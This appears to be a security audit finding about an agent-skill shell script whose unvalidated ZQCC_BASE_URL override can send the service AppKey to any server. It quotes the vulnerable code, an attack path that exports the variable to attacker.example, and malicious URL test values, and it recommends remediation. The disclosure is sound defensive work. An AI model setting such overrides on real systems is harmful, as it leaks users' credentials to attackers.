T09 · Insecure Skill Coding Practices
- Location
scripts/zqcc.sh:4- Finding
Unrestricted API Base URL Override Can Disclose the AppKey
- Content
View full analysis
Vulnerability Details
File Location:
scripts/zqcc.sh:4-6, 30-40
Vulnerability Type: Unvalidated destination for credential-bearing requests
Risk Level: MediumVulnerable Code
bash base_url="${ZQCC_BASE_URL:-https://zqcc.mkstone.club}" mcp_url="${base_url%/}/mcp/stream" chat_url="${base_url%/}/api/v1/chat"bash post_json() { local url="$1" local body="$2" curl --fail-with-body --silent --show-error \ --connect-timeout 15 \ --max-time 300 \ -X POST "$url" \ -H "Authorization: Bearer ${ZQCC_APP_KEY}" \ -H 'Content-Type: application/json' \ --data "$body" }Technical Analysis
The script derives authenticated API endpoints directly from the user-controlled
ZQCC_BASE_URLenvironment variable. It does not parse or validate the URL, require HTTPS, or restrict the destination to the documented zqcc host.The
post_jsonfunction then unconditionally attaches the paid-service AppKey as a bearer credential to requests sent to the derived URL. Consequently, any process or configuration capable of influencingZQCC_BASE_URLcan redirect authenticated commands to an arbitrary HTTP or HTTPS server.This behavior also conflicts with the security rule in
SKILL.md:105, which states thatZQCC_APP_KEYmust not be sent anywhere except the zqcc HTTPS origin.Attack Path
-
An attacker influences the user's environment, shell profile, CI configuration, wrapper script, or copied setup instructions.
-
The attacker sets an arbitrary destination, for example:
bash export ZQCC_BASE_URL='https://attacker.example' -
The user invokes an authenticated operation:
bash ./scripts/zqcc.sh tools-list -
The script constructs
https://attacker.example/mcp/stream. -
post_jsonsends the following header to the attacker-controlled server:text Authorization: Bearer <ZQCC_APP_KEY>
...[truncated 771 chars]
-
- Remediation
View remediation
Remediation Suggestions
- Remove
ZQCC_BASE_URLsupport if alternate service origins are not operationally necessary. - If configurability is required, parse the URL and enforce an exact allowlist:
- Scheme must be
https. - Host must be exactly
zqcc.mkstone.club. - Reject embedded credentials, unexpected ports, fragments, and alternate hosts.
- Scheme must be
- Never attach the
Authorizationheader unless the validated request origin matches the approved HTTPS origin. - Fail closed with a clear error when validation fails.
- If development endpoints are required, use a separate explicitly named development credential and require an opt-in flag rather than silently reusing the production AppKey.
- Add automated tests covering malicious values such as:
http://zqcc.mkstone.clubhttps://attacker.examplehttps://zqcc.mkstone.club.attacker.examplehttps://attacker.example@zqcc.mkstone.club
- Update the documentation so configuration guidance and executable behavior consistently enforce the rule that the AppKey is sent only to the approved zqcc HTTPS origin.
- Remove
